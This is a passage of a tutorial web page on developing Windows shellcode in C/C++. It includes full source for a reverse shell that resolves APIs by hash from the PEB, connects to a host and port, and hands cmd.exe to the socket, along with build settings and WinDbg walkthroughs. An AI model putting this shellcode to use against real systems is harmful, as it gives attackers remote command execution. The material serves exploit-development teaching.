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<!DOCTYPE html>
<html>
<head>
<title>Shellcode</title>
<link rel="stylesheet" href="styles.css">
<link rel="stylesheet" href="highlight/styles/stackoverflow-dark.min.css">
<script src="highlight/highlight.min.js"></script>
<script>hljs.highlightAll();</script>
</head>
<body>
<div class="inner-content"><header class="page-header"><h1 class="page-title">Shellcode</h1></header><div class="page-content"><h2>Introduction</h2><p>A <span style="color: #00ccff;">shellcode</span> is a piece of code which is sent as <span style="color: #00ccff;">payload</span> by an <span style="color: #00ccff;">exploit</span>, is injected in the vulnerable application and is executed. A shellcode must be position independent, i.e. it must work no matter its position in memory and shouldn’t contain null bytes, because the shellcode is usually copied by functions like <span style="color: #00ff00;">strcpy()</span> which stop copying when they encounter a null byte. If a shellcode should contain a null byte, those functions would copy that shellcode only up to the first null byte and thus the shellcode would be incomplete.</p><p>Shellcode is usually written directly in <span style="color: #00ccff;">assembly</span>, but this doesn’t need to be the case. In this section, we’ll develop shellcode in<span style="color: #00ccff;"> C/C++</span> using <span style="color: #00ccff;">Visual Studio 2013</span>. The benefits are evident:</p><ol><li>shorter development times</li><li><span style="color: #00ccff;">intellisense</span></li><li>ease of debugging</li></ol><p>We will use VS 2013 to produce an executable file with our shellcode and then we will extract and fix (i.e. remove the null bytes) the shellcode with a <span style="color: #00ccff;">Python</span> script.</p><h2>C/C++ code</h2><h3>Use only stack variables</h3><p>To write position independent code in C/C++ we must only use variables allocated on the <span style="color: #00ccff;">stack</span>. This means that we can’t write</p>
<pre><code class="language-cpp">char *v = new char[100];
</code></pre>
<p>because that array would be allocated on the <span style="color: #00ccff;">heap</span>. More important, this would try to call the new operator function from <span style="color: #00ff00;">msvcr120.dll</span> using an absolute address:</p><pre class="ignore:true">00191000 6A 64 push 64h
00191002 FF 15 90 20 19 00 call dword ptr ds:[192090h]
</pre><p>The location 192090h contains the address of the function.</p><p>If we want to call a function imported from a library, we must do so directly, without relying on import tables and the Windows loader.</p><p>Another problem is that the new operator probably requires some kind of initialization performed by the runtime component of the C/C++ language. We don’t want to include all that in our shellcode.</p><p>We can’t use global variables either:</p>
<pre><code class="language-cpp">int x;
int main() {
x = 12;
}
</code></pre>
<p>The assignment above (if not optimized out), produces</p><pre class="ignore:true">008E1C7E C7 05 30 91 8E 00 0C 00 00 00 mov dword ptr ds:[8E9130h],0Ch</pre><p>where 8E9130h is the absolute address of the variable <span style="color: #00ff00;">x</span>.</p><p>Strings pose a problem. If we write</p>
<pre><code class="language-cpp">char str[] = "I'm a string";
printf(str);
</code></pre>
<p>the string will be put into the section <span style="color: #00ff00;">.rdata</span> of the executable and will be referenced with an absolute address. You must not use <span style="color: #00ff00;">printf</span> in your shellcode: this is just an example to see how <span style="color: #00ff00;">str</span> is referenced. Here’s the asm code:</p><pre class="ignore:true">00A71006 8D 45 F0 lea eax,[str]
00A71009 56 push esi
00A7100A 57 push edi
00A7100B BE 00 21 A7 00 mov esi,0A72100h
00A71010 8D 7D F0 lea edi,[str]
00A71013 50 push eax
00A71014 A5 movs dword ptr es:[edi],dword ptr [esi]
00A71015 A5 movs dword ptr es:[edi],dword ptr [esi]
00A71016 A5 movs dword ptr es:[edi],dword ptr [esi]
00A71017 A4 movs byte ptr es:[edi],byte ptr [esi]
00A71018 FF 15 90 20 A7 00 call dword ptr ds:[0A72090h]
</pre><p>As you can see, the string, located at the address A72100h in the <span style="color: #00ff00;">.rdata</span> section, is copied onto the stack (<span style="color: #00ff00;">str</span> points to the stack) through <span style="color: #00ff00;">movsd</span> and <span style="color: #00ff00;">movsb</span>. Note that A72100h is an absolute address. This code is definitely not position independent.</p><p>If we write</p>
<pre><code class="language-cpp">char *str = "I'm a string";
printf(str);
</code></pre>
<p>the string is still put into the <span style="color: #00ff00;">.rdata</span> section, but it’s not copied onto the stack:</p><pre class="ignore:true">00A31000 68 00 21 A3 00 push 0A32100h
00A31005 FF 15 90 20 A3 00 call dword ptr ds:[0A32090h]</pre><p>The absolute position of the string in <span style="color: #00ff00;">.rdata</span> is A32100h.<br> How can we makes this code position independent?<br> The simpler (partial) solution is rather cumbersome:</p>
<pre><code class="language-cpp">char str[] = { 'I', '\'', 'm', ' ', 'a', ' ', 's', 't', 'r', 'i', 'n', 'g', '\0' };
printf(str);
</code></pre>
<p>Here’s the asm code:</p><pre class="ignore:true">012E1006 8D 45 F0 lea eax,[str]
012E1009 C7 45 F0 49 27 6D 20 mov dword ptr [str],206D2749h
012E1010 50 push eax
012E1011 C7 45 F4 61 20 73 74 mov dword ptr [ebp-0Ch],74732061h
012E1018 C7 45 F8 72 69 6E 67 mov dword ptr [ebp-8],676E6972h
012E101F C6 45 FC 00 mov byte ptr [ebp-4],0
012E1023 FF 15 90 20 2E 01 call dword ptr ds:[12E2090h]
</pre><p>Except for the call to <span style="color: #00ff00;">printf</span>, this code is position independent because portions of the string are coded directly in the source operands of the <span style="color: #00ff00;">mov</span> instructions. Once the string has been built on the stack, it can be used.</p><p>Unfortunately, when the string is longer, this method doesn’t work anymore. In fact, the code</p>
<pre><code class="language-cpp">char str[] = { 'I', '\'', 'm', ' ', 'a', ' ', 'v', 'e', 'r', 'y', ' ', 'l', 'o', 'n', 'g', ' ', 's', 't', 'r', 'i', 'n', 'g', '\0' };
printf(str);
</code></pre>
<p>produces</p><pre class="ignore:true">013E1006 66 0F 6F 05 00 21 3E 01 movdqa xmm0,xmmword ptr ds:[13E2100h]
013E100E 8D 45 E8 lea eax,[str]
013E1011 50 push eax
013E1012 F3 0F 7F 45 E8 movdqu xmmword ptr [str],xmm0
013E1017 C7 45 F8 73 74 72 69 mov dword ptr [ebp-8],69727473h
013E101E 66 C7 45 FC 6E 67 mov word ptr [ebp-4],676Eh
013E1024 C6 45 FE 00 mov byte ptr [ebp-2],0
013E1028 FF 15 90 20 3E 01 call dword ptr ds:[13E2090h]
</pre><p>As you can see, part of the string is located in the <span style="color: #00ff00;">.rdata</span> section at the address 13E2100h, while other parts of the string are encoded in the source operands of the <span style="color: #00ff00;">mov</span> instructions like before.</p><p>The solution I came up with is to allow code like</p>
<pre><code class="language-cpp">char *str = "I'm a very long string";
</code></pre>
<p>and fix the shellcode with a Python script. That script needs to extract the referenced strings from the <span style="color: #00ff00;">.rdata</span> section, put them into the shellcode and fix the relocations. We’ll see how soon.</p><h3>Don’t call Windows API directly</h3><p>We can’t write</p>
<pre><code class="language-cpp">WaitForSingleObject(procInfo.hProcess, INFINITE);
</code></pre>
<p>in our C/C++ code because “WaitForSingleObject” needs to be imported from kernel32.dll.</p><p>The process of importing a function from a library is rather complex. In a nutshell, the <span style="color: #00ccff;">PE</span> file contains an <span style="color: #00ccff;">import table</span> and an <span style="color: #00ccff;">import address table</span> (<span style="color: #00ccff;">IAT</span>). The import table contains information about which functions to import from which libraries. The IAT is compiled by the Windows loader when the executable is loaded and contains the addresses of the imported functions. The code of the executable call the imported functions with a level of indirection. For example:</p><pre class="ignore:true"> 001D100B FF 15 94 20 1D 00 call dword ptr ds:[1D2094h]</pre><p>The address 1D2094h is the location of the entry (in the IAT) which contains the address of the function <span style="color: #00ff00;">MessageBoxA</span>. This level of indirection is useful because the call above doesn’t need to be fixed (unless the executable is relocated). The only thing the Windows loader needs to fix is the dword at 1D2094h, which is the address of the <span style="color: #00ff00;">MessageBoxA</span> function.</p><p>The solution is to get the addresses of the Windows functions directly from the in-memory data structures of Windows. We’ll see how this is done later.</p><h3>Install VS 2013 CTP</h3><p>First of all, download the <span style="color: #00ff00;">Visual C++ Compiler November 2013 CTP</span> from <a href="http://www.microsoft.com/en-us/download/details.aspx?id=41151">here</a> and install it.</p><h3>Create a New Project</h3><p>Go to <span style="color: #00ff00;">File</span>→<span style="color: #00ff00;">New</span>→<span style="color: #00ff00;">Project…</span>, select <span style="color: #00ff00;">Installed</span>→<span style="color: #00ff00;">Templates</span>→<span style="color: #00ff00;">Visual C++</span>→<span style="color: #00ff00;">Win32</span>→<span style="color: #00ff00;">Win32 Console Application</span>, choose a name for the project (I chose <span style="color: #00ff00;">shellcode</span>) and hit OK.</p><p>Go to <span style="color: #00ff00;">Project</span>→<span style="color: #00ff00;"><project name> properties</span> and a new dialog will appear. Apply the changes to all configurations (<span style="color: #00ccff;">Release</span> and <span style="color: #00ccff;">Debug</span>) by setting <span style="color: #00ff00;">Configuration</span> (top left of the dialog) to <span style="color: #00ff00;">All Configurations</span>. Then, expand <span style="color: #00ff00;">Configuration Properties</span> and under <span style="color: #00ff00;">General</span> modify <span style="color: #00ff00;">Platform Toolset</span> so that it says <span style="color: #00ff00;">Visual C++ Compiler Nov 2013 CTP (CTP_Nov2013)</span>. This way you’ll be able to use some features of <span style="color: #00ccff;">C++11</span> and <span style="color: #00ccff;">C++14</span> like <span style="color: #00ff00;">static_assert</span>.</p><h3>Example of Shellcode</h3><p>Here’s the code for a simple <span style="color: #00ccff;">reverse shell </span>(<a href="http://en.wikipedia.org/wiki/Shellcode#Remote">definition</a>). Add a file named <span style="color: #00ff00;">shellcode.cpp</span> to the project and copy this code in it (or just <a href="code/shellcode.cpp">download</a> it). Don’t try to understand all the code right now. We’ll discuss it at length.</p>
<pre><code class="language-cpp">// Simple reverse shell shellcode by Massimiliano Tomassoli (2015)
// NOTE: Compiled on Visual Studio 2013 + "Visual C++ Compiler November 2013 CTP".
#include <WinSock2.h> // must preceed #include <windows.h>
#include <WS2tcpip.h>
#include <windows.h>
#include <winnt.h>
#include <winternl.h>
#include <stddef.h>
#include <stdio.h>
#define htons(A) ((((WORD)(A) & 0xff00) >> 8) | (((WORD)(A) & 0x00ff) << 8))
_inline PEB *getPEB() {
PEB *p;
__asm {
mov eax, fs:[30h]
mov p, eax
}
return p;
}
DWORD getHash(const char *str) {
DWORD h = 0;
while (*str) {
h = (h >> 13) | (h << (32 - 13)); // ROR h, 13
h += *str >= 'a' ? *str - 32 : *str; // convert the character to uppercase
str++;
}
return h;
}
DWORD getFunctionHash(const char *moduleName, const char *functionName) {
return getHash(moduleName) + getHash(functionName);
}
LDR_DATA_TABLE_ENTRY *getDataTableEntry(const LIST_ENTRY *ptr) {
int list_entry_offset = offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
return (LDR_DATA_TABLE_ENTRY *)((BYTE *)ptr - list_entry_offset);
}
// NOTE: This function doesn't work with forwarders. For instance, kernel32.ExitThread forwards to
// ntdll.RtlExitUserThread. The solution is to follow the forwards manually.
PVOID getProcAddrByHash(DWORD hash) {
PEB *peb = getPEB();
LIST_ENTRY *first = peb->Ldr->InMemoryOrderModuleList.Flink;
LIST_ENTRY *ptr = first;
do { // for each module
LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr);
ptr = ptr->Flink;
BYTE *baseAddress = (BYTE *)dte->DllBase;
if (!baseAddress) // invalid module(???)
continue;
IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress;
IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader->e_lfanew);
DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (!iedRVA) // Export Directory not present
continue;
IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA);
char *moduleName = (char *)(baseAddress + ied->Name);
DWORD moduleHash = getHash(moduleName);
// The arrays pointed to by AddressOfNames and AddressOfNameOrdinals run in parallel, i.e. the i-th
// element of both arrays refer to the same function. The first array specifies the name whereas
// the second the ordinal. This ordinal can then be used as an index in the array pointed to by
// AddressOfFunctions to find the entry point of the function.
DWORD *nameRVAs = (DWORD *)(baseAddress + ied->AddressOfNames);
for (DWORD i = 0; i < ied->NumberOfNames; ++i) {
char *functionName = (char *)(baseAddress + nameRVAs[i]);
if (hash == moduleHash + getHash(functionName)) {
WORD ordinal = ((WORD *)(baseAddress + ied->AddressOfNameOrdinals))[i];
DWORD functionRVA = ((DWORD *)(baseAddress + ied->AddressOfFunctions))[ordinal];
return baseAddress + functionRVA;
}
}
} while (ptr != first);
return NULL; // address not found
}
#define HASH_LoadLibraryA 0xf8b7108d
#define HASH_WSAStartup 0x2ddcd540
#define HASH_WSACleanup 0x0b9d13bc
#define HASH_WSASocketA 0x9fd4f16f
#define HASH_WSAConnect 0xa50da182
#define HASH_CreateProcessA 0x231cbe70
#define HASH_inet_ntoa 0x1b73fed1
#define HASH_inet_addr 0x011bfae2
#define HASH_getaddrinfo 0xdc2953c9
#define HASH_getnameinfo 0x5c1c856e
#define HASH_ExitThread 0x4b3153e0
#define HASH_WaitForSingleObject 0xca8e9498
#define DefineFuncPtr(name) decltype(name) *My_##name = (decltype(name) *)getProcAddrByHash(HASH_##name)
int entryPoint() {
// printf("0x%08x\n", getFunctionHash("kernel32.dll", "WaitForSingleObject"));
// return 0;
// NOTE: we should call WSACleanup() and freeaddrinfo() (after getaddrinfo()), but
// they're not strictly needed.
DefineFuncPtr(LoadLibraryA);
My_LoadLibraryA("ws2_32.dll");
DefineFuncPtr(WSAStartup);
DefineFuncPtr(WSASocketA);
DefineFuncPtr(WSAConnect);
DefineFuncPtr(CreateProcessA);
DefineFuncPtr(inet_ntoa);
DefineFuncPtr(inet_addr);
DefineFuncPtr(getaddrinfo);
DefineFuncPtr(getnameinfo);
DefineFuncPtr(ExitThread);
DefineFuncPtr(WaitForSingleObject);
const char *hostName = "127.0.0.1";
const int hostPort = 123;
WSADATA wsaData;
if (My_WSAStartup(MAKEWORD(2, 2), &wsaData))
goto __end; // error
SOCKET sock = My_WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (sock == INVALID_SOCKET)
goto __end;
addrinfo *result;
if (My_getaddrinfo(hostName, NULL, NULL, &result))
goto __end;
char ip_addr[16];
My_getnameinfo(result->ai_addr, result->ai_addrlen, ip_addr, sizeof(ip_addr), NULL, 0, NI_NUMERICHOST);
SOCKADDR_IN remoteAddr;
remoteAddr.sin_family = AF_INET;
remoteAddr.sin_port = htons(hostPort);
remoteAddr.sin_addr.s_addr = My_inet_addr(ip_addr);
if (My_WSAConnect(sock, (SOCKADDR *)&remoteAddr, sizeof(remoteAddr), NULL, NULL, NULL, NULL))
goto __end;
STARTUPINFOA sInfo;
PROCESS_INFORMATION procInfo;
SecureZeroMemory(&sInfo, sizeof(sInfo)); // avoids a call to _memset
sInfo.cb = sizeof(sInfo);
sInfo.dwFlags = STARTF_USESTDHANDLES;
sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError = (HANDLE)sock;
My_CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &procInfo);
// Waits for the process to finish.
My_WaitForSingleObject(procInfo.hProcess, INFINITE);
__end:
My_ExitThread(0);
return 0;
}
int main() {
return entryPoint();
}
</code></pre>
<p></p><h3>Compiler Configuration</h3><p>Go to <span style="color: #00ff00;">Project</span>→<span style="color: #00ff00;"><project name> properties</span>, expand <span style="color: #00ff00;">Configuration Properties</span> and then <span style="color: #00ff00;">C/C++</span>. Apply the changes to the Release Configuration.</p><p>Here are the settings you need to change:</p><ul><li><span style="color: #00ff00;">General</span>:<ul><li><span style="color: #00ff00;">SDL Checks</span>: No (/sdl-)<br> Maybe this is not needed, but I disabled them anyway.</li></ul></li><li><span style="color: #00ff00;">Optimization</span>:<ul><li><span style="color: #00ff00;">Optimization</span>: Minimize Size (/O1)<br> This is very important! We want a shellcode as small as possible.</li><li><span style="color: #00ff00;">Inline Function Expansion</span>: Only __inline (/Ob1)<br> If a function <span style="color: #00ff00;">A</span> calls a function <span style="color: #00ff00;">B</span> and <span style="color: #00ff00;">B</span> is inlined, then the call to <span style="color: #00ff00;">B</span> is replaced with the code of <span style="color: #00ff00;">B</span> itself. With this setting we tell VS 2013 to inline only functions decorated with <span style="color: #00ff00;">_inline</span>.<br> This is critical! <span style="color: #00ff00;">main()</span> just calls the <span style="color: #00ff00;">entryPoint</span> function of our shellcode. If the <span style="color: #00ff00;">entryPoint</span> function is short, it might be inlined into <span style="color: #00ff00;">main()</span>. This would be disastrous because <span style="color: #00ff00;">main()</span> wouldn’t indicate the end of our shellcode anymore (in fact, it would contain part of it). We’ll see why this is important later.</li><li><span style="color: #00ff00;">Enable Intrinsic Functions</span>: Yes (/Oi)<br> I don’t know if this should be disabled.</li><li><span style="color: #00ff00;">Favor Size Or Speed</span>: Favor small code (/Os)</li><li><span style="color: #00ff00;">Whole Program Optimization</span>: Yes (/GL)</li></ul></li><li><span style="color: #00ff00;">Code Generation</span>:<ul><li><span style="color: #00ff00;">Security Check</span>: Disable Security Check (/GS-)<br> We don’t need any security checks!</li><li><span style="color: #00ff00;">Enable Function-Level linking</span>: Yes (/Gy)</li></ul></li></ul><h3>Linker Configuration</h3><p>Go to <span style="color: #00ff00;">Project</span>→<span style="color: #00ff00;"><project name> properties</span>, expand <span style="color: #00ff00;">Configuration Properties</span> and then <span style="color: #00ff00;">Linker</span>. Apply the changes to the Release Configuration. Here are the settings you need to change:</p><ul><li><span style="color: #00ff00;">General</span>:<ul><li><span style="color: #00ff00;">Enable Incremental Linking</span>: No (/INCREMENTAL:NO)</li></ul></li><li><span style="color: #00ff00;">Debugging</span>:<ul><li><span style="color: #00ff00;">Generate Map File</span>: Yes (/MAP)<br> Tells the linker to generate a map file containing the structure of the EXE.</li><li><span style="color: #00ff00;">Map File Name</span>: mapfile<br> This is the name of the map file. Choose whatever name you like.</li></ul></li><li><span style="color: #00ff00;">Optimization</span>:<ul><li><span style="color: #00ff00;">References</span>: Yes (/OPT:REF)<br> This is very important to generate a small shellcode because eliminates functions and data that are never referenced by the code.</li><li><span style="color: #00ff00;">Enable COMDAT Folding</span>: Yes (/OPT:ICF)</li><li><span style="color: #00ff00;">Function Order</span>: function_order.txt<br> This reads a file called <span style="color: #00ff00;">function_order.txt</span> which specifies the order in which the functions must appear in the code section. We want the function <span style="color: #00ff00;">entryPoint</span> to be the first function in the code section so my <span style="color: #00ff00;">function_order.txt</span> contains just a single line with the word <span style="color: #00ff00;">?entryPoint@@YAHXZ</span>. You can find the names of the functions in the map file.</li></ul></li></ul><h3>getProcAddrByHash</h3><p>This function returns the address of a function exported by a module (.exe or .dll) present in memory, given the <span style="color: #00ccff;">hash</span> associated with the module and the function. It’s certainly possible to find functions by name, but that would waste considerable space because those names should be included in the shellcode. On the other hand, a hash is only 4 bytes. Since we don’t use two hashes (one for the module and the other for the function), <span style="color: #00ff00;">getProcAddrByHash</span> needs to consider all the modules loaded in memory.</p><p>The hash for <span style="color: #00ff00;">MessageBoxA</span>, exported by <span style="color: #00ff00;">user32.dll</span>, can be computed as follows:</p>
<pre><code class="language-cpp">DWORD hash = getFunctionHash("user32.dll", "MessageBoxA");
</code></pre>
<p>where hash is the sum of <span style="color: #00ff00;">getHash(“user32.dll”)</span> and <span style="color: #00ff00;">getHash(“MessageBoxA”)</span>. The implementation of <span style="color: #00ff00;">getHash</span> is very simple:</p>
<pre><code class="language-cpp">DWORD getHash(const char *str) {
DWORD h = 0;
while (*str) {
h = (h >> 13) | (h << (32 - 13)); // ROR h, 13
h += *str >= 'a' ? *str - 32 : *str; // convert the character to uppercase
str++;
}
return h;
}
</code></pre>
<p>As you can see, the hash is case-insensitive. This is important because in some versions of Windows the names in memory are all uppercase.</p><p>First, <span style="color: #00ff00;">getProcAddrByHash</span> gets the address of the <span style="color: #00ccff;">TEB</span> (<span style="color: #00ccff;">T</span>hread <span style="color: #00ccff;">E</span>nvironment <span style="color: #00ccff;">B</span>lock):</p>
<pre><code class="language-cpp">PEB *peb = getPEB();
</code></pre>
<p>where</p>
<pre><code class="language-cpp">_inline PEB *getPEB() {
PEB *p;
__asm {
mov eax, fs:[30h]
mov p, eax
}
return p;
}
</code></pre>
<p>The <span style="color: #00ccff;">selector</span> <span style="color: #00ff00;">fs</span> is associated with a <span style="color: #00ccff;">segment</span> which starts at the address of the TEB. At offset 30h, the TEB contains a pointer to the <span style="color: #00ccff;">PEB</span> (<span style="color: #00ccff;">P</span>rocess <span style="color: #00ccff;">E</span>nvironment <span style="color: #00ccff;">B</span>lock). We can see this in WinDbg:</p><pre class="ignore:true">0:000> dt _TEB @$teb
ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : (null)
+0x020 ClientId : _CLIENT_ID
+0x028 ActiveRpcHandle : (null)
+0x02c ThreadLocalStoragePointer : 0x7efdd02c Void
+0x030 ProcessEnvironmentBlock : 0x7efde000 _PEB
+0x034 LastErrorValue : 0
+0x038 CountOfOwnedCriticalSections : 0
+0x03c CsrClientThread : (null)
<span style="color: #00ff00;"><snip></span></pre><p>The PEB, as the name implies, is associated with the current process and contains, among other things, information about the modules loaded into the process address space.</p><p>Here’s <span style="color: #00ff00;">getProcAddrByHash</span> again:</p>
<pre><code class="language-cpp">PVOID getProcAddrByHash(DWORD hash) {
PEB *peb = getPEB();
LIST_ENTRY *first = peb->Ldr->InMemoryOrderModuleList.Flink;
LIST_ENTRY *ptr = first;
do { // for each module
LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr);
ptr = ptr->Flink;
.
.
.
} while (ptr != first);
return NULL; // address not found
}
</code></pre>
<p>Here’s part of the PEB:</p><pre class="ignore:true">0:000> dt _PEB @$peb
ntdll!_PEB
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
+0x002 BeingDebugged : 0x1 ''
+0x003 BitField : 0x8 ''
+0x003 ImageUsesLargePages : 0y0
+0x003 IsProtectedProcess : 0y0
+0x003 IsLegacyProcess : 0y0
+0x003 IsImageDynamicallyRelocated : 0y1
+0x003 SkipPatchingUser32Forwarders : 0y0
+0x003 SpareBits : 0y000
+0x004 Mutant : 0xffffffff Void
+0x008 ImageBaseAddress : 0x00060000 Void
+0x00c Ldr : 0x76fd0200 _PEB_LDR_DATA
+0x010 ProcessParameters : 0x00681718 _RTL_USER_PROCESS_PARAMETERS
+0x014 SubSystemData : (null)
+0x018 ProcessHeap : 0x00680000 Void
<span style="color: #00ff00;"><snip></span></pre><p>At offset 0Ch, there is a field called <span style="color: #00ff00;">Ldr</span> which points to a <span style="color: #00ff00;">PEB_LDR_DATA</span> data structure. Let’s see that in WinDbg:</p><pre class="ignore:true">0:000> dt _PEB_LDR_DATA 0x76fd0200
ntdll!_PEB_LDR_DATA
+0x000 Length : 0x30
+0x004 Initialized : 0x1 ''
+0x008 SsHandle : (null)
+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x683080 - 0x6862c0 ]
+0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x683088 - 0x6862c8 ]
+0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x683120 - 0x6862d0 ]
+0x024 EntryInProgress : (null)
+0x028 ShutdownInProgress : 0 ''
+0x02c ShutdownThreadId : (null)</pre><p><span style="color: #00ff00;">InMemoryOrderModuleList</span> is a doubly-linked list of <span style="color: #00ff00;">LDR_DATA_TABLE_ENTRY</span> structures associated with the modules loaded in the current process’s address space. To be precise, <span style="color: #00ff00;">InMemoryOrderModuleList</span> is a <span style="color: #00ff00;">LIST_ENTRY</span>, which contains two fields:</p><pre class="ignore:true">0:000> dt _LIST_ENTRY
ntdll!_LIST_ENTRY
+0x000 Flink : Ptr32 _LIST_ENTRY
+0x004 Blink : Ptr32 _LIST_ENTRY</pre><p><span style="color: #00ff00;">Flink</span> means forward link and <span style="color: #00ff00;">Blink</span> backward link. Flink points to the <span style="color: #00ff00;">LDR_DATA_TABLE_ENTRY</span> of the first module. Well, not exactly: Flink points to a <span style="color: #00ff00;">LIST_ENTRY</span> structure contained in the structure <span style="color: #00ff00;">LDR_DATA_TABLE_ENTRY</span>.</p><p>Let’s see how <span style="color: #00ff00;">LDR_DATA_TABLE_ENTRY</span> is defined:</p><pre class="ignore:true">0:000> dt _LDR_DATA_TABLE_ENTRY
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY
+0x008 InMemoryOrderLinks : _LIST_ENTRY
+0x010 InInitializationOrderLinks : _LIST_ENTRY
+0x018 DllBase : Ptr32 Void
+0x01c EntryPoint : Ptr32 Void
+0x020 SizeOfImage : Uint4B
+0x024 FullDllName : _UNICODE_STRING
+0x02c BaseDllName : _UNICODE_STRING
+0x034 Flags : Uint4B
+0x038 LoadCount : Uint2B
+0x03a TlsIndex : Uint2B
+0x03c HashLinks : _LIST_ENTRY
+0x03c SectionPointer : Ptr32 Void
+0x040 CheckSum : Uint4B
+0x044 TimeDateStamp : Uint4B
+0x044 LoadedImports : Ptr32 Void
+0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT
+0x04c PatchInformation : Ptr32 Void
+0x050 ForwarderLinks : _LIST_ENTRY
+0x058 ServiceTagLinks : _LIST_ENTRY
+0x060 StaticLinks : _LIST_ENTRY
+0x068 ContextInformation : Ptr32 Void
+0x06c OriginalBase : Uint4B
+0x070 LoadTime : _LARGE_INTEGER</pre><p><span style="color: #00ff00;">InMemoryOrderModuleList.Flink</span> points to <span style="color: #00ff00;">_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks</span> which is at offset 8, so we must subtract 8 to get the address of <span style="color: #00ff00;">_LDR_DATA_TABLE_ENTRY</span>.</p><p>First, let’s get the Flink pointer:</p><pre class="ignore:true">+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x683080 - 0x6862c0 ]</pre><p>Its value is 0x683080, so the <span style="color: #00ff00;">_LDR_DATA_TABLE_ENTRY</span> structure is at address 0x683080 – 8 = 0x683078:</p><pre class="ignore:true">0:000> dt _LDR_DATA_TABLE_ENTRY 683078
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x359469e5 - 0x1800eeb1 ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x683110 - 0x76fd020c ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x683118 - 0x76fd0214 ]
+0x018 DllBase : (null)
+0x01c EntryPoint : (null)
+0x020 SizeOfImage : 0x60000
+0x024 FullDllName : _UNICODE_STRING "蒮ｍ쿟ﾹ엘ﾬ膪ｎ???"
+0x02c BaseDllName : _UNICODE_STRING "C:\Windows\SysWOW64\calc.exe"
+0x034 Flags : 0x120010
+0x038 LoadCount : 0x2034
+0x03a TlsIndex : 0x68
+0x03c HashLinks : _LIST_ENTRY [ 0x4000 - 0xffff ]
+0x03c SectionPointer : 0x00004000 Void
+0x040 CheckSum : 0xffff
+0x044 TimeDateStamp : 0x6841b4
+0x044 LoadedImports : 0x006841b4 Void
+0x048 EntryPointActivationContext : 0x76fd4908 _ACTIVATION_CONTEXT
+0x04c PatchInformation : 0x4ce7979d Void
+0x050 ForwarderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x058 ServiceTagLinks : _LIST_ENTRY [ 0x6830d0 - 0x6830d0 ]
+0x060 StaticLinks : _LIST_ENTRY [ 0x6830d8 - 0x6830d8 ]
+0x068 ContextInformation : 0x00686418 Void
+0x06c OriginalBase : 0x6851a8
+0x070 LoadTime : _LARGE_INTEGER 0x76f0c9d0</pre><p>As you can see, I’m debugging calc.exe in WinDbg! That’s right: the first module is the executable itself. The important field is <span style="color: #00ff00;">DLLBase</span> (c). Given the base address of the module, we can analyze the PE file loaded in memory and get all kinds of information, like the addresses of the exported functions.</p><p>That’s exactly what we do in <span style="color: #00ff00;">getProcAddrByHash</span>:</p>
<pre><code class="language-cpp"> .
.
.
BYTE *baseAddress = (BYTE *)dte->DllBase;
if (!baseAddress) // invalid module(???)
continue;
IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress;
IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader->e_lfanew);
DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (!iedRVA) // Export Directory not present
continue;
IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA);
char *moduleName = (char *)(baseAddress + ied->Name);
DWORD moduleHash = getHash(moduleName);
// The arrays pointed to by AddressOfNames and AddressOfNameOrdinals run in parallel, i.e. the i-th
// element of both arrays refer to the same function. The first array specifies the name whereas
// the second the ordinal. This ordinal can then be used as an index in the array pointed to by
// AddressOfFunctions to find the entry point of the function.
DWORD *nameRVAs = (DWORD *)(baseAddress + ied->AddressOfNames);
for (DWORD i = 0; i < ied->NumberOfNames; ++i) {
char *functionName = (char *)(baseAddress + nameRVAs[i]);
if (hash == moduleHash + getHash(functionName)) {
WORD ordinal = ((WORD *)(baseAddress + ied->AddressOfNameOrdinals))[i];
DWORD functionRVA = ((DWORD *)(baseAddress + ied->AddressOfFunctions))[ordinal];
return baseAddress + functionRVA;
}
}
.
.
.
</code></pre>
<p>To understand this piece of code you’ll need to have a look at the PE file format specification. I won’t go into too many details. One important thing you should know is that many (if not all) the addresses in the PE file structures are <span style="color: #00ccff;">RVA</span> (<span style="color: #00ccff;">R</span>elative <span style="color: #00ccff;">V</span>irtual <span style="color: #00ccff;">A</span>ddresses), i.e. addresses relative to the base address of the PE module (DllBase). For example, if the RVA is 100h and DllBase is 400000h, then the RVA points to data at the address 400000h + 100h = 400100h.</p><p>The module starts with the so called <span style="color: #00ff00;">DOS_HEADER</span> which contains a RVA (<span style="color: #00ff00;">e_lfanew</span>) to the <span style="color: #00ff00;">NT_HEADERS</span> which are the <span style="color: #00ff00;">FILE_HEADER</span> and the <span style="color: #00ff00;">OPTIONAL_HEADER</span>. The <span style="color: #00ff00;">OPTIONAL_HEADER</span> 